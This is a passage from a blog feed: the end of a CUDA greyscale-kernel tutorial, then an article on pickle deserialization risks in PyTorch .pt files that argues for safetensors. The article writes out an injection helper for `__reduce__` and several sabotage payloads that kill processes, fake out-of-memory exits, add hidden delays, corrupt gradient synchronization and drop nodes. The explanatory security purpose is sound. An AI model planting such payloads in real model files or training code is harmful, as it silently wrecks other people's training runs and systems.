</span><span class="n">num_blocks</span> <span class="o">=</span> <span class="p">(</span><span class="n">total_threads_needed</span> <span class="o">+</span> <span class="n">threads_per_block</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">//</span> <span class="n">threads_per_block</span>
</code></pre></div>    </div>
    <p>The formula <code class="language-plaintext highlighter-rouge">(total_threads_needed + threads_per_block - 1) // threads_per_block</code> might look complex, but it’s just ceiling division. For our image:</p>
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">num_blocks</span> <span class="o">=</span> <span class="p">(</span><span class="mi">921</span><span class="p">,</span><span class="mi">600</span> <span class="o">+</span> <span class="mi">1024</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">//</span> <span class="mi">1024</span> <span class="o">=</span> <span class="mi">901</span> <span class="n">blocks</span>
</code></pre></div>    </div>
    <h3 id="understanding-threadblock-indexing">Understanding Thread/Block Indexing</h3>
  </li>
</ol>

<p>Now comes the crucial part: how does each thread know which pixel to process? In CUDA, each thread can identify itself using two pieces of information:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">threadIdx.x</code>: Its position within its block (0 to 1023 in our case)</li>
  <li><code class="language-plaintext highlighter-rouge">blockIdx.x</code>: Which block it belongs to (0 to 900 in our case)</li>
</ul>

<p>We can calculate the global pixel index that each thread should process:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">global_thread_id</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">x</span> <span class="o">*</span> <span class="n">blockDim</span><span class="p">.</span><span class="n">x</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">x</span>
</code></pre></div></div>
<p>Where:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">blockDim.x</code> is the number of threads per block (1024 in our case)</li>
  <li><code class="language-plaintext highlighter-rouge">threadIdx.x</code> is the thread’s position within its block</li>
  <li><code class="language-plaintext highlighter-rouge">blockIdx.x</code> is the block number</li>
</ul>

<blockquote>
  <p>Note: Ignore the <code class="language-plaintext highlighter-rouge">.x</code> for now. We will discuss it a bit later [Todo: integrate smoothly and explain]</p>
</blockquote>

<p>What this means is that, instead of passing thread index directly, we pass <code class="language-plaintext highlighter-rouge">blockIdx</code> and
<code class="language-plaintext highlighter-rouge">threadIdx</code> to figure out the global thread idx or pixel idx</p>

<p>In a scenario where the total pixels are 514 and blockDim is 256. In this case, ceiling division would give us 3 blocks. In the 3rd block, we only want to use 2 threads for the 2 pixels as the remaining 512 pixels are taken care of the first two blocks. So, we keep a <code class="language-plaintext highlighter-rouge">if</code> condition to avoid this overflow. If the thread id is more than the number of pixels, we avoid the computation.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">rgb2grey_pixel_level_kernel</span><span class="p">(</span><span class="n">blockidx</span><span class="p">,</span> <span class="n">threadidx</span><span class="p">,</span> <span class="n">blockDim</span><span class="p">,</span> <span class="n">output_grey_tensor</span><span class="p">,</span> <span class="n">input_flatten_tensor</span><span class="p">,</span> <span class="n">num_pixels_per_channel</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="bp">None</span><span class="p">:</span>

<span class="n">global_thread_pixel_id</span> <span class="o">=</span> <span class="n">blockIdx</span> <span class="o">*</span> <span class="n">blockDim</span> <span class="o">+</span> <span class="n">threadIdx</span>

<span class="k">if</span> <span class="n">global_thread_pixel_id</span> <span class="o">&lt;</span> <span class="n">num_pixels_per_channel</span><span class="p">:</span>
	<span class="n">output_grey_tensor</span><span class="p">[</span><span class="n">global_thread_pixel_id</span><span class="p">]</span> <span class="o">=</span> <span class="mf">0.2989</span><span class="o">*</span><span class="n">input_flatten_tensor</span><span class="p">[</span><span class="n">global_thread_pixel_id</span><span class="p">]</span> <span class="o">+</span> \
	<span class="mf">0.5870</span><span class="o">*</span><span class="n">input_flatten_tensor</span><span class="p">[</span><span class="n">global_thread_pixel_id</span> <span class="o">+</span> <span class="n">num_pixels_per_channel</span><span class="p">]</span> <span class="o">+</span> \
	<span class="mf">0.1140</span><span class="o">*</span><span class="n">input_flatten_tensor</span><span class="p">[</span><span class="n">global_thread_pixel_id</span> <span class="o">+</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">num_pixels_per_channel</span><span class="p">)]</span>

</code></pre></div></div>
<p>This changes the <code class="language-plaintext highlighter-rouge">for loop</code> that iterates the function calls. We will have 2 <code class="language-plaintext highlighter-rouge">for loops</code> now. One for iterating blocks and the other for iterating threads inside each block:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">rgb2grey_block_level_kernel</span><span class="p">(</span><span class="n">func</span><span class="p">,</span> <span class="n">num_blocks</span><span class="p">,</span> <span class="n">num_threads_per_block</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">):</span>
	<span class="k">for</span> <span class="n">block_idx</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num_blocks</span><span class="p">):</span>
		<span class="k">for</span> <span class="n">thread_idx</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">threads</span><span class="p">):</span> <span class="n">func</span><span class="p">(</span><span class="n">block_idx</span><span class="p">,</span> <span class="n">thread_idx</span><span class="p">,</span> <span class="n">num_threads_per_block</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">rgb2grey_py_kernel</span><span class="p">(</span><span class="n">input_image</span><span class="p">):</span>
	<span class="n">c</span><span class="p">,</span> <span class="n">h</span><span class="p">,</span> <span class="n">w</span> <span class="o">=</span> <span class="n">input_image</span><span class="p">.</span><span class="n">shape</span>
	<span class="n">num_pixels_per_channel</span> <span class="o">=</span> <span class="n">h</span> <span class="o">*</span> <span class="n">w</span>

	<span class="n">input_image</span> <span class="o">=</span> <span class="n">input_image</span><span class="p">.</span><span class="n">flatten</span><span class="p">()</span>
	<span class="n">output_grey_tensor</span> <span class="o">=</span> <span class="n">torch</span><span class="p">.</span><span class="n">empty</span><span class="p">(</span><span class="n">h</span> <span class="o">*</span> <span class="n">w</span><span class="p">,</span> <span class="n">dtype</span> <span class="o">=</span> <span class="n">input_image</span><span class="p">.</span><span class="n">dtype</span><span class="p">,</span> <span class="n">device</span> <span class="o">=</span> <span class="n">input_image</span><span class="p">.</span><span class="n">device</span><span class="p">)</span>
		

	<span class="n">num_threads_per_block</span> <span class="o">=</span> <span class="mi">256</span>
	<span class="n">num_blocks</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">math</span><span class="p">.</span><span class="n">ceil</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">output_grey_tensor</span><span class="p">)</span><span class="o">/</span><span class="n">num_threads_per_block</span><span class="p">))</span>

	
	<span class="n">run_many_kernels_block</span><span class="p">(</span><span class="n">pixel_operation_kernel_block</span><span class="p">,</span> <span class="n">num_blocks</span><span class="p">,</span>
	<span class="n">num_threads_per_block</span><span class="p">,</span> <span class="n">output_grey_tensor</span><span class="p">,</span> <span class="n">input_image</span><span class="p">,</span> <span class="n">num_pixels_per_channel</span><span class="p">)</span>
	
	<span class="k">return</span> <span class="n">output_grey_tensor</span><span class="p">.</span><span class="n">view</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="n">w</span><span class="p">)</span>
</code></pre></div></div>

<p>Now that we understand how to organize our computation with blocks and threads in Python, let’s translate this to actual CUDA code. <strong>The key difference is that instead of explicitly running loops over blocks and threads, CUDA will handle this parallelization for us.</strong></p>

<h3 id="cuda-implementation-1d-grid">CUDA Implementation (1D Grid)</h3>

<p>Here’s how we implement our grayscale conversion in CUDA:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;torch/extension.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;c10/cuda/CUDAException.h&gt;</span><span class="cp">
</span>
<span class="n">__global__</span> <span class="kt">void</span> <span class="nf">rgb_to_grayscale_kernel</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">x</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">out</span><span class="p">,</span> <span class="kt">int</span> <span class="n">n</span><span class="p">)</span> <span class="p">{</span>

<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">blockIdx</span><span class="p">.</span><span class="n">x</span><span class="o">*</span><span class="n">blockDim</span><span class="p">.</span><span class="n">x</span> <span class="o">+</span> <span class="n">threadIdx</span><span class="p">.</span><span class="n">x</span><span class="p">;</span>

<span class="k">if</span> <span class="p">(</span><span class="n">i</span><span class="o">&lt;</span><span class="n">n</span><span class="p">)</span> <span class="n">out</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="mf">0.2989</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="mf">0.5870</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="n">n</span><span class="p">]</span> <span class="o">+</span> <span class="mf">0.1140</span><span class="o">*</span><span class="n">x</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="o">*</span><span class="n">n</span><span class="p">];</span>

<span class="p">}</span>


<span class="n">torch</span><span class="o">::</span><span class="n">Tensor</span> <span class="n">rgb_to_grayscale</span><span class="p">(</span><span class="n">torch</span><span class="o">::</span><span class="n">Tensor</span> <span class="n">input</span><span class="p">)</span> <span class="p">{</span>
	
	<span class="kt">int</span> <span class="n">h</span> <span class="o">=</span> <span class="n">input</span><span class="p">.</span><span class="n">size</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
	
	<span class="kt">int</span> <span class="n">w</span> <span class="o">=</span> <span class="n">input</span><span class="p">.</span><span class="n">size</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
	
	<span class="n">printf</span><span class="p">(</span><span class="s">"h*w: %d*%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">h</span><span class="p">,</span> <span class="n">w</span><span class="p">);</span>
	
	<span class="k">auto</span> <span class="n">output</span> <span class="o">=</span> <span class="n">torch</span><span class="o">::</span><span class="n">empty</span><span class="p">({</span><span class="n">h</span><span class="p">,</span><span class="n">w</span><span class="p">},</span> <span class="n">input</span><span class="p">.</span><span class="n">options</span><span class="p">());</span>
	
	<span class="kt">int</span> <span class="n">threads</span> <span class="o">=</span> <span class="mi">64</span><span class="p">;</span>
	
	<span class="n">rgb_to_grayscale_kernel</span><span class="o">&lt;&lt;&lt;</span><span class="n">cdiv</span><span class="p">(</span><span class="n">w</span><span class="o">*</span><span class="n">h</span><span class="p">,</span><span class="n">threads</span><span class="p">),</span> <span class="n">threads</span><span class="o">&gt;&gt;&gt;</span><span class="p">(</span>
	
	<span class="n">input</span><span class="p">.</span><span class="n">data_ptr</span><span class="o">&lt;</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">&gt;</span><span class="p">(),</span> <span class="n">output</span><span class="p">.</span><span class="n">data_ptr</span><span class="o">&lt;</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">&gt;</span><span class="p">(),</span> <span class="n">w</span><span class="o">*</span><span class="n">h</span><span class="p">);</span>
	
	<span class="n">C10_CUDA_KERNEL_LAUNCH_CHECK</span><span class="p">();</span>
	
	<span class="k">return</span> <span class="n">output</span><span class="p">;</span>
</code></pre></div></div>

<p>Let’s break down the key differences from our Python implementation:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">__global__</code> keyword: This tells CUDA that this is a kernel function that can be called from CPU code and runs on the GPU.</li>
  <li>No explicit loops: Instead of our Python implementation’s nested loops, CUDA handles thread creation and management.</li>
  <li>Boundary check: We add <code class="language-plaintext highlighter-rouge">if (tid &lt; width * height)</code> to ensure we don’t process beyond our image boundaries.</li>
  <li>The <code class="language-plaintext highlighter-rouge">&lt;&lt;&lt;num_blocks, threads_per_block&gt;&gt;&gt;</code> syntax is CUDA’s way of specifying the grid and block dimensions. This replaces our Python implementation’s explicit loops over blocks and threads.</li>
</ol>

<h1 id="conclusion">Conclusion</h1>

<p>This implementation serves as a foundation for understanding CUDA programming. In the next post, we’ll explore:</p>
<ul>
  <li>2D grid implementations for the grayscale conversion and matrix operations</li>
  <li>Using shared memory to reduce global memory access</li>
  <li>Coalesced memory access patterns</li>
  <li>Bank conflicts and how to avoid them</li>
  <li>Warp-level programming</li>
</ul>]]></content><author><name>Murali Manohar</name><email>kmanoharmurali@gmail.com</email></author><category term="machine-learning" /><category term="data-science" /><category term="CUDA" /><category term="GPU" /><category term="ML" /><category term="Optimization" /><category term="Performance" /><summary type="html"><![CDATA[A Introduction Guide for ML Engineers. Learn the fundamentals and practical implementations needed to get started with CUDA kernels]]></summary></entry><entry><title type="html">The Pickle Problem - A Security Nightmare in ML</title><link href="https://gitlostmurali.com/machine-learning/data-science/the-pickle-problem" rel="alternate" type="text/html" title="The Pickle Problem - A Security Nightmare in ML" /><published>2025-01-12T23:58:10+00:00</published><updated>2025-01-12T23:58:10+00:00</updated><id>https://gitlostmurali.com/machine-learning/data-science/the-pickle-problem</id><content type="html" xml:base="https://gitlostmurali.com/machine-learning/data-science/the-pickle-problem"><![CDATA[<h1 id="background">Background</h1>

<p>Recent events in the machine learning community have highlighted a critical yet often overlooked aspect of ML systems: model serialization security. A particularly concerning incident at TikTok demonstrated just how vulnerable our current practices are. An ex-intern managed to sabotage their LLM training process by embedding malicious code directly within the model weights, leading to months of debugging efforts and millions of dollars in wasted resources.</p>

<p>What makes this case particularly notable wasn’t just the scale of disruption, but the method of attack. The malicious code wasn’t hidden in the repository where it might have been caught by code reviews - <strong>it was concealed within the model itself</strong>. The sabotage manifested in various ways: introducing random delays, killing training runs unexpectedly, and even reversing training progress. These issues persisted undetected for months, partly due to fundamental weaknesses in how we handle model serialization.</p>

<p>This incident raises important questions about how we store and distribute our models, and why the popular PyTorch .pt format might not be as secure as we need it to be. In this article, we’ll explore how such malicious code remained undetected for so long due to broken model serialization practices, and why the safetensors format was developed as a solution. This discussion is particularly relevant given the growing industry consensus around adopting safetensors, including our own recent implementation of additional features to support this format.</p>

<h1 id="whats-broken-with-the-current-model-serialization">What’s broken with the current model serialization?</h1>

<p>In the PyTorch ecosystem, saving and loading models has become deceptively simple. The <code class="language-plaintext highlighter-rouge">.pt</code> format has emerged as the de facto standard for storing model state dictionaries - essentially mappings between layer names and their corresponding weights:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">torch</span><span class="p">.</span><span class="n">save</span><span class="p">(</span><span class="n">model</span><span class="p">.</span><span class="n">state_dict</span><span class="p">(),</span> <span class="s">"model.pt"</span><span class="p">)</span>

<span class="n">state_dict</span> <span class="o">=</span> <span class="n">torch</span><span class="p">.</span><span class="n">load</span><span class="p">(</span><span class="s">"model.pt"</span><span class="p">)</span>
<span class="n">model</span><span class="p">.</span><span class="n">load_state_dict</span><span class="p">(</span><span class="n">state_dict</span><span class="p">)</span>
</code></pre></div></div>

<p>This approach seems straightforward and has served the community well for years. However, there’s a significant security vulnerability lurking beneath this simple interface.</p>
<h2 id="the-pickle-issue-a-security-nightmare">The Pickle Issue: A Security Nightmare</h2>

<p>Under the hood, the <code class="language-plaintext highlighter-rouge">.pt</code> format uses python’s pickle strategy to serialize and deserialize the state dictionary. While pickle is versatile enough to serialize nearly any Python object, this flexibility comes at a severe security cost: pickle can <strong>execute arbitary code during deserialization</strong>. One way to hack the models weights is to modify its <code class="language-plaintext highlighter-rouge">__reduce__</code> method to execute arbitrary code.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">PythonObj</span><span class="p">:</span>
	<span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
		<span class="k">return</span> <span class="p">(</span><span class="k">exec</span><span class="p">,</span> <span class="p">(</span><span class="s">"print('hello')"</span><span class="p">)</span> <span class="p">)</span>
</code></pre></div></div>

<p>If you serialize this class object and load the object back, you will see the reduce method being executed. Specifically, you will see a <code class="language-plaintext highlighter-rouge">hello</code>  statement being printed whenever you load the pickled file.</p>

<p>In case of a man-in-the-middle attack where  model classes are already defined and their objects are pickled, we can bind the malicious <code class="language-plaintext highlighter-rouge">reduce</code> function code to the pickled object. Here’s how an attacker might bind the malicious code to a given object to execute harmful code:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">def</span> <span class="nf">inject_malicious_code</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="n">code_str</span><span class="p">):</span>
    <span class="c1"># Define a custom reduce function
</span>    <span class="k">def</span> <span class="nf">reduce</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">return</span> <span class="p">(</span><span class="k">exec</span><span class="p">,</span> <span class="p">(</span><span class="n">code_str</span><span class="p">,))</span>

    <span class="c1"># Bind the custom reduce function to the object's __reduce__ method
</span>    <span class="n">bound_reduce</span> <span class="o">=</span> <span class="nb">reduce</span><span class="p">.</span><span class="n">__get__</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="n">obj</span><span class="p">.</span><span class="n">__class__</span><span class="p">)</span>
    <span class="nb">setattr</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="s">"__reduce__"</span><span class="p">,</span> <span class="n">bound_reduce</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">obj</span>

<span class="n">MALICIOUS_CODE_STR</span> <span class="o">=</span> <span class="s">"""
print('hello')
"""</span>

<span class="n">state_dict</span> <span class="o">=</span> <span class="n">inject_malicious_code</span><span class="p">(</span><span class="n">state_dict</span><span class="p">,</span> <span class="n">MALICIOUS_CODE_STR</span><span class="p">)</span>
</code></pre></div></div>

<p>Let’s extend this to a critical scenario by replacing the print statement.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">MALICIOUS_CODE_STR</span> <span class="o">=</span> <span class="s">"""
import os

pid = os.getpid() # get program-id of the current program
os.kill(pid, 9) # kill the current program
"""</span>
</code></pre></div></div>
<figure>
    <a href="https://gitlostmurali.com//assets/images/safetensors/pikachu.png"><img src="https://gitlostmurali.com//assets/images/safetensors/pikachu.png" /></a>
    <figcaption><b>Figure 1:</b> <i> Developers when they realize that the training is corrupted</i></figcaption>
</figure>

<p>In the context of ML models, this vulnerability becomes even more concerning. An attacker could modify model weights to include malicious code that executes during model loading. Since model loading is such a common operation - happening during training, evaluation, and deployment - this creates numerous opportunities for exploitation.</p>

<h2 id="anatomy-of-a-model-based-attack">Anatomy of a Model-Based Attack</h2>

<p>The TikTok incident provides a masterclass in how serialization vulnerabilities can be exploited to sabotage training processes. Let’s break down different types of attacks that can be embedded in model weights, starting with simple examples and building up to more sophisticated ones.</p>

<figure>
    <a href="https://gitlostmurali.com//assets/images/safetensors/trojan.png"><img src="https://gitlostmurali.com//assets/images/safetensors/trojan.png" /></a>
    <figcaption><b>Figure 2:</b> <i> Trojan Tensors: Malicious code embedded in model weights</i></figcaption>
</figure>

<h3 id="example-1-basic-training-disruption">Example 1: Basic Training Disruption</h3>

<p>Here’s a simple example of how malicious code could be embedded to randomly terminate training:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">MALICIOUS_CODE_STR</span> <span class="o">=</span> <span class="s">"""
import random
import sys

# Randomly terminate training with 25% probability
if random.random() &lt; 0.25:
    sys.exit("Training terminated due to 'Out Of Memory hardware error'")
"""</span>
</code></pre></div></div>

<p>This basic attack might seem obvious in isolation, but when embedded within model weights and triggered during large-scale training, it can be extraordinarily difficult to debug. Engineers might spend weeks investigating hardware issues or cluster instability.</p>

<h3 id="example-2-silent-performance-degradation">Example 2: Silent Performance Degradation</h3>

<p>A more subtle attack might introduce random delays that make training inefficient without obviously failing:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">MALICIOUS_CODE_STR</span> <span class="o">=</span> <span class="s">"""
import time
import random
from datetime import datetime

def is_work_hours():
	current_hour = datetime.now().hour
	return 9 &lt;= current_hour &lt;= 17

def continuous_delay():
	while True:
	    time.sleep(random.uniform(0.1, 0.5))

	if is_work_hours(): # delay more during work hours
		time.sleep(3)


delay_thread = threading.Thread(target=continuous_delay, daemon=True) delay_thread.start()
"""</span>
</code></pre></div></div>

<p>This attack is particularly insidious because it:</p>

<ol>
  <li>Introduces variable delays that are hard to profile</li>
  <li>Only activates during certain hours, making it harder to reproduce</li>
  <li>Doesn’t cause obvious failures that would trigger alerts</li>
</ol>

<h3 id="example-3-distributed-training-sabotage">Example 3: Distributed Training Sabotage</h3>

<p>In distributed training environments, we can create even more sophisticated attacks that target node communication:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">MALICIOUS_CODE_STR</span> <span class="o">=</span> <span class="s">"""
import torch.distributed as dist

# Store original all_reduce function
dist._original_all_reduce = dist.all_reduce

def corrupted_all_reduce(tensor, *args, **kwargs):
	tensor = tensor.add_(1)
	return dist._origin_all_reduce(tensor, *args, **kwargs)

setattr(dist, "all_reduce", corrupted_all_reduce)
"""</span>
</code></pre></div></div>

<p>This distributed training attack is particularly devastating because it:</p>

<ol>
  <li>Corrupts gradient synchronization in subtle ways</li>
  <li>Introduces random communication delays</li>
</ol>

<p>One can extend these distributed training attacks to mimic normal distributed training challenges like:</p>

<ol>
  <li>Occasionally dropping nodes from the training process</li>
</ol>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">torch.distributed</span> <span class="k">as</span> <span class="n">dist</span>
<span class="c1"># Periodically drop nodes from training 
</span><span class="k">def</span> <span class="nf">node_dropper</span><span class="p">():</span>
	<span class="k">while</span> <span class="bp">True</span><span class="p">:</span><span class="err"> </span>
		<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="n">random</span><span class="p">.</span><span class="n">uniform</span><span class="p">(</span><span class="mi">300</span><span class="p">,</span> <span class="mi">1800</span><span class="p">))</span> <span class="c1"># Wait 5-30 minutes
</span>		<span class="k">if</span> <span class="n">dist</span><span class="p">.</span><span class="n">get_rank</span><span class="p">()</span><span class="o">!=</span><span class="mi">0</span> <span class="ow">and</span> <span class="n">random</span><span class="p">.</span><span class="n">random</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mf">0.2</span><span class="p">:</span> <span class="c1"># 20% chance to drop 
</span>			<span class="n">dist</span><span class="p">.</span><span class="n">destroy_process_group</span><span class="p">()</span><span class="err"> </span>

<span class="n">dropper_thread</span> <span class="o">=</span> <span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">node_dropper</span><span class="p">,</span> <span class="n">daemon</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="n">dropper_thread</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>

</code></pre></div></div>
<p>Here, <code class="language-plaintext highlighter-rouge">dist.destroy_process_group()</code> would terminate the underlying communication channels between the worker node and overall cluster. If you call <code class="language-plaintext highlighter-rouge">dist.destroy_process_group()</code> on ** say, worker node 1**, that node will clean up its own resources and terminate its participation in the distributed process group:</p>
<ul>
  <li>From the cluster’s perspective, <strong>node 1 is now unavailable</strong>. It can no longer participate in distributed communication.</li>
  <li>However, if the remaining nodes attempt distributed operations (e.g., <code class="language-plaintext highlighter-rouge">dist.broadcast</code>, <code class="language-plaintext highlighter-rouge">dist.all_reduce</code>) that involve node 1, they may <strong>hang, fail, or encounter errors</strong>, depending on the backend and how the distributed operation is implemented.</li>
</ul>

<h2 id="example-4-the-ultimate-stealth-attack---gradient-manipulation">Example 4: The Ultimate Stealth Attack - Gradient Manipulation</h2>

<p>The most sophisticated attack might directly manipulate the training process while hiding its tracks:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kn">import</span> <span class="nn">torch</span>
<span class="kn">import</span> <span class="nn">torch.nn</span> <span class="k">as</span> <span class="n">nn</span>
<span class="kn">from</span> <span class="nn">torch.autograd</span> <span class="kn">import</span> <span class="n">Function</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">time</span>

<span class="k">class</span> <span class="nc">GradientCorruptor</span><span class="p">(</span><span class="n">Function</span><span class="p">):</span>
    <span class="o">@</span><span class="nb">staticmethod</span>
    <span class="k">def</span> <span class="nf">forward</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="nb">input</span><span class="p">):</span>
        <span class="n">ctx</span><span class="p">.</span><span class="n">save_for_backward</span><span class="p">(</span><span class="nb">input</span><span class="p">)</span>
        <span class="k">return</span> <span class="nb">input</span><span class="p">.</span><span class="n">clone</span><span class="p">()</span>

    <span class="o">@</span><span class="nb">staticmethod</span>
    <span class="k">def</span> <span class="nf">backward</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="n">grad_output</span><span class="p">):</span>
        <span class="nb">input</span><span class="p">,</span> <span class="o">=</span> <span class="n">ctx</span><span class="p">.</span><span class="n">saved_tensors</span>
        
        <span class="c1"># Subtly modify gradients
</span>        <span class="n">modified_grad</span> <span class="o">=</span> <span class="n">grad_output</span><span class="p">.</span><span class="n">clone</span><span class="p">()</span>
        
        <span class="c1"># Random sign flips with low probability
</span>        <span class="n">mask</span> <span class="o">=</span> <span class="n">torch</span><span class="p">.</span><span class="n">rand_like</span><span class="p">(</span><span class="n">modified_grad</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mf">0.01</span>
        <span class="n">modified_grad</span><span class="p">[</span><span class="n">mask</span><span class="p">]</span> <span class="o">*=</span> <span class="o">-</span><span class="mi">1</span>
        
        <span class="c1"># Occasionally zero out gradients
</span>        <span class="n">mask</span> <span class="o">=</span> <span class="n">torch</span><span class="p">.</span><span class="n">rand_like</span><span class="p">(</span><span class="n">modified_grad</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mf">0.005</span>
        <span class="n">modified_grad</span><span class="p">[</span><span class="n">mask</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span>
        
        <span class="c1"># Scale gradients randomly to create instability
</span>        <span class="k">if</span> <span class="n">random</span><span class="p">.</span><span class="n">random</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mf">0.1</span><span class="p">:</span>
            <span class="n">scale</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">uniform</span><span class="p">(</span><span class="mf">0.1</span><span class="p">,</span> <span class="mf">10.0</span><span class="p">)</span>
            <span class="n">modified_grad</span> <span class="o">*=</span> <span class="n">scale</span>
        
        <span class="k">return</span> <span class="n">modified_grad</span>

<span class="k">class</span> <span class="nc">LayerCorruptor</span><span class="p">(</span><span class="n">nn</span><span class="p">.</span><span class="n">Module</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">layer</span><span class="p">):</span>
        <span class="nb">super</span><span class="p">().</span><span class="n">__init__</span><span class="p">()</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">layer</span> <span class="o">=</span> <span class="n">layer</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">training_steps</span> <span class="o">=</span> <span class="mi">0</span>
		<span class="bp">self</span><span class="p">.</span><span class="n">old_state</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="bp">None</span>

    <span class="k">def</span> <span class="nf">forward</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">x</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">training_steps</span> <span class="o">+=</span> <span class="mi">1</span>
        
        <span class="c1"># Apply the gradient corruptor
</span>        <span class="k">if</span> <span class="bp">self</span><span class="p">.</span><span class="n">training</span><span class="p">:</span>
            <span class="n">x</span> <span class="o">=</span> <span class="n">GradientCorruptor</span><span class="p">.</span><span class="nb">apply</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
            
            <span class="c1"># Periodically reverse optimization progress
</span>            <span class="k">if</span> <span class="bp">self</span><span class="p">.</span><span class="n">training_steps</span> <span class="o">%</span> <span class="mi">100</span> <span class="o">==</span> <span class="mi">0</span> <span class="ow">and</span> <span class="n">random</span><span class="p">.</span><span class="n">random</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mf">0.2</span><span class="p">:</span>
                <span class="c1"># Save the current state and
</span>                <span class="c1"># Load a slightly older state to reverse progress
</span>                <span class="c1"># This simulates the model "forgetting" what it learned
</span>                <span class="bp">self</span><span class="p">.</span><span class="n">old_state</span><span class="err"> </span><span class="o">=</span><span class="err"> </span><span class="p">{</span><span class="n">k</span><span class="p">:</span><span class="err"> </span><span class="n">v</span><span class="p">.</span><span class="n">clone</span><span class="p">()</span> 
	                <span class="k">for</span><span class="err"> </span><span class="n">k</span><span class="p">,</span><span class="err"> </span><span class="n">v</span><span class="err"> </span><span class="ow">in</span><span class="err"> </span><span class="bp">self</span><span class="p">.</span><span class="n">layer</span><span class="p">.</span><span class="n">state_dict</span><span class="p">().</span><span class="n">items</span><span class="p">()}</span> 
